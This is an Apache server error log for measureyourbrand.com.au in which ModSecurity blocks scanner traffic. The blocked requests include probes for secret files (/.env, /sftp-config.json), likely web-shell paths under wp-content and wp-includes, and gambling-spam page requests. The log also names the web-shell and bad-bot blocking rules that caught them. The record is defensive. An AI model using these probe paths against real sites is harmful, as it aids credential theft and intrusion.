[Tue Feb 10 21:08:40.308298 2026] [:error] [pid 7704:tid 7720] [client 62.72.41.205:54911] [client 62.72.41.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aYst2P0EcqgVBUs6CW0lBgAAAc0"]
[Tue Feb 10 21:08:40.687341 2026] [:error] [pid 47831:tid 47877] [client 62.72.41.205:63021] [client 62.72.41.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "aYst2CdxbZYarWVkiACQmwAAAEQ"]
[Wed Feb 11 00:51:53.456259 2026] [:error] [pid 14803:tid 14940] [client 65.108.2.171:1942] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYtiKbwzY9_NIasL_OXHrwAAARc"]
[Wed Feb 11 00:51:55.969214 2026] [:error] [pid 46779:tid 46826] [client 65.108.2.171:61740] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYtiK9ZrCpVdS6yMMkdAPgAAAIA"]
[Wed Feb 11 00:51:58.413629 2026] [:error] [pid 14803:tid 14931] [client 65.108.2.171:61756] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYtiLrwzY9_NIasL_OXHtgAAAQ4"]
[Wed Feb 11 00:52:01.110835 2026] [:error] [pid 46779:tid 46835] [client 65.108.2.171:61768] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYtiMdZrCpVdS6yMMkdAVgAAAIg"]
[Wed Feb 11 00:52:03.785217 2026] [:error] [pid 46779:tid 46837] [client 65.108.2.171:61770] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYtiM9ZrCpVdS6yMMkdAYgAAAIk"]
[Wed Feb 11 00:52:17.330361 2026] [:error] [pid 46635:tid 46661] [client 65.108.2.171:3104] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYtiQUsK6EAyFtFakLo6RAAAAFg"]
[Wed Feb 11 00:52:19.844697 2026] [:error] [pid 14804:tid 14954] [client 65.108.2.171:3118] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYtiQ4L4gbfzj8YFRVovEwAAAYo"]
[Wed Feb 11 00:52:25.039046 2026] [:error] [pid 14804:tid 14952] [client 65.108.2.171:25802] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYtiSYL4gbfzj8YFRVovFwAAAYg"]
[Wed Feb 11 00:52:27.578653 2026] [:error] [pid 14803:tid 14930] [client 65.108.2.171:25816] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYtiS7wzY9_NIasL_OXH0wAAAQ0"]
[Wed Feb 11 00:52:30.258915 2026] [:error] [pid 14803:tid 14923] [client 65.108.2.171:25832] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYtiTrwzY9_NIasL_OXH2AAAAQY"]
[Wed Feb 11 00:52:32.923819 2026] [:error] [pid 46779:tid 46828] [client 65.108.2.171:25840] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYtiUNZrCpVdS6yMMkdAmwAAAII"]
[Wed Feb 11 00:52:35.572838 2026] [:error] [pid 46525:tid 46575] [client 65.108.2.171:32736] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYtiUwlEqQj0Mpse0Pk35AAAAAI"]
[Wed Feb 11 00:52:38.069258 2026] [:error] [pid 46525:tid 46576] [client 65.108.2.171:32740] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYtiVglEqQj0Mpse0Pk36QAAAAM"]
[Wed Feb 11 00:52:40.683494 2026] [:error] [pid 46635:tid 46641] [client 65.108.2.171:32756] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYtiWEsK6EAyFtFakLo6ZwAAAEQ"]
[Wed Feb 11 00:52:43.283082 2026] [:error] [pid 14804:tid 14958] [client 65.108.2.171:32762] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYtiW4L4gbfzj8YFRVovLgAAAY4"]
[Wed Feb 11 00:52:45.877888 2026] [:error] [pid 46525:tid 46594] [client 65.108.2.171:55924] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYtiXQlEqQj0Mpse0Pk38QAAABU"]
[Wed Feb 11 00:52:48.400580 2026] [:error] [pid 14803:tid 14937] [client 65.108.2.171:55936] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYtiYLwzY9_NIasL_OXH6AAAARQ"]
[Wed Feb 11 02:51:10.723153 2026] [autoindex:error] [pid 46525:tid 46593] [client 20.204.41.182:46206] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Wed Feb 11 02:51:10.774346 2026] [:error] [pid 46525:tid 46596] [client 20.204.41.182:46376] [client 20.204.41.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aYt-HglEqQj0Mpse0PlV8gAAABc"]
[Wed Feb 11 02:51:10.777213 2026] [:error] [pid 46525:tid 46586] [client 20.204.41.182:46270] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aYt-HglEqQj0Mpse0PlV8wAAAA0"]
[Wed Feb 11 02:51:10.777995 2026] [:error] [pid 46525:tid 46589] [client 20.204.41.182:46044] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aYt-HglEqQj0Mpse0PlV9AAAABA"]
[Wed Feb 11 02:51:10.790498 2026] [:error] [pid 46525:tid 46585] [client 20.204.41.182:46134] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aYt-HglEqQj0Mpse0PlV9QAAAAw"]
[Wed Feb 11 02:51:10.794356 2026] [:error] [pid 46525:tid 46595] [client 20.204.41.182:46090] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aYt-HglEqQj0Mpse0PlV9gAAABY"]
[Wed Feb 11 02:51:10.795156 2026] [:error] [pid 46525:tid 46581] [client 20.204.41.182:46354] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "aYt-HglEqQj0Mpse0PlV9wAAAAg"]
[Wed Feb 11 02:51:10.805305 2026] [:error] [pid 46525:tid 46588] [client 20.204.41.182:46124] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cache/"] [unique_id "aYt-HglEqQj0Mpse0PlV-QAAAA8"]
[Wed Feb 11 02:51:10.806401 2026] [:error] [pid 46525:tid 46576] [client 20.204.41.182:46128] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/"] [unique_id "aYt-HglEqQj0Mpse0PlV-gAAAAM"]
[Wed Feb 11 02:51:11.760262 2026] [:error] [pid 46779:tid 46847] [client 20.204.41.182:46288] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/ui/"] [unique_id "aYt-H9ZrCpVdS6yMMkdtawAAAJM"]
[Wed Feb 11 02:51:11.793661 2026] [:error] [pid 46779:tid 46837] [client 20.204.41.182:46220] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aYt-H9ZrCpVdS6yMMkdtbAAAAIk"]
[Wed Feb 11 02:51:12.177298 2026] [:error] [pid 46779:tid 46826] [client 20.204.41.182:46330] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/plugins/"] [unique_id "aYt-INZrCpVdS6yMMkdtbQAAAIA"]
[Wed Feb 11 02:51:12.204129 2026] [:error] [pid 46525:tid 46591] [client 20.204.41.182:46114] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aYt-IAlEqQj0Mpse0PlV_QAAABI"]
[Wed Feb 11 02:51:12.204486 2026] [:error] [pid 46779:tid 46833] [client 20.204.41.182:46286] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/"] [unique_id "aYt-INZrCpVdS6yMMkdtbgAAAIY"]
[Wed Feb 11 02:51:12.205435 2026] [:error] [pid 46779:tid 46827] [client 20.204.41.182:46238] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "aYt-INZrCpVdS6yMMkdtbwAAAIE"]
[Wed Feb 11 02:51:12.207824 2026] [:error] [pid 46779:tid 46846] [client 20.204.41.182:46152] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/"] [unique_id "aYt-INZrCpVdS6yMMkdtcAAAAJI"]
[Wed Feb 11 02:51:12.249381 2026] [:error] [pid 46525:tid 46575] [client 20.204.41.182:46262] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aYt-IAlEqQj0Mpse0PlV_wAAAAI"]
[Wed Feb 11 02:51:12.763830 2026] [:error] [pid 15011:tid 15013] [client 20.204.41.182:46140] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "aYt-IF-gTNLV94AtLrgLTgAAAcA"]
[Wed Feb 11 02:51:13.782538 2026] [:error] [pid 15011:tid 15035] [client 20.204.41.182:46078] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aYt-IV-gTNLV94AtLrgLUQAAAdY"]
[Wed Feb 11 02:51:13.800942 2026] [:error] [pid 15011:tid 15034] [client 20.204.41.182:46166] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYt-IV-gTNLV94AtLrgLUgAAAdU"]
[Wed Feb 11 02:51:13.804823 2026] [:error] [pid 15011:tid 15030] [client 20.204.41.182:46400] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aYt-IV-gTNLV94AtLrgLUwAAAdE"]
[Wed Feb 11 02:51:13.858038 2026] [:error] [pid 15011:tid 15024] [client 20.204.41.182:46182] [client 20.204.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "aYt-IV-gTNLV94AtLrgLVAAAAcs"]
[Wed Feb 11 04:19:28.858985 2026] [:error] [pid 27965:tid 28021] [client 108.165.145.105:51555] [client 108.165.145.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aYuS0NHLAUAIo8qpZyEo8gAAAFI"]
[Wed Feb 11 04:19:30.608503 2026] [:error] [pid 27966:tid 28039] [client 94.249.212.227:28745] [client 94.249.212.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aYuS0l8HJ9ydyf0SPu6TXwAAAIk"]
[Wed Feb 11 05:17:41.307584 2026] [:error] [pid 27966:tid 28034] [client 49.51.183.84:59216] [client 49.51.183.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYugdV8HJ9ydyf0SPu6txQAAAIQ"]
[Wed Feb 11 06:20:40.913593 2026] [:error] [pid 27964:tid 27978] [client 217.77.10.74:64870] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/graphql"] [unique_id "aYuvOMp0XgWYHLcQtEjg5AAAAAM"]
[Wed Feb 11 06:20:41.701614 2026] [:error] [pid 27964:tid 27997] [client 217.77.10.74:64936] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api/graphql"] [unique_id "aYuvOcp0XgWYHLcQtEjg5wAAABY"]
[Wed Feb 11 06:20:42.475921 2026] [:error] [pid 22569:tid 22577] [client 217.77.10.74:65020] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/catalogsearch/advanced/result/"] [unique_id "aYuvOsAhSI7iX9G3enhaAwAAAYQ"]
[Wed Feb 11 06:20:43.276097 2026] [:error] [pid 27965:tid 28020] [client 217.77.10.74:65118] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rest/V1/search"] [unique_id "aYuvO9HLAUAIo8qpZyFYxwAAAFE"]
[Wed Feb 11 06:20:44.103684 2026] [:error] [pid 28073:tid 28097] [client 217.77.10.74:65272] [client 217.77.10.74] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aYuvPIeHYIlOlF-DsMyfhwAAANY"]
[Wed Feb 11 09:35:19.861124 2026] [ssl:error] [pid 17401:tid 17404] [client 3.139.242.79:38519] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Wed Feb 11 10:08:03.323752 2026] [:error] [pid 22570:tid 22606] [client 54.37.252.46:41362] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYvkgyE5uSe043FXwQrULgAAAcY"]
[Wed Feb 11 10:08:05.845977 2026] [:error] [pid 17401:tid 17414] [client 54.37.252.46:41372] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYvkhQ0lHeayTY40t37ZswAAAQs"]
[Wed Feb 11 10:08:08.168732 2026] [:error] [pid 27966:tid 28031] [client 54.37.252.46:41390] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYvkiF8HJ9ydyf0SPu4LJAAAAIE"]
[Wed Feb 11 10:08:10.650871 2026] [:error] [pid 22537:tid 22563] [client 54.37.252.46:41406] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYvkiifg2TagwM3bvQNo-gAAAVg"]
[Wed Feb 11 10:08:13.175559 2026] [:error] [pid 22570:tid 22604] [client 54.37.252.46:41422] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYvkjSE5uSe043FXwQrUMwAAAcQ"]
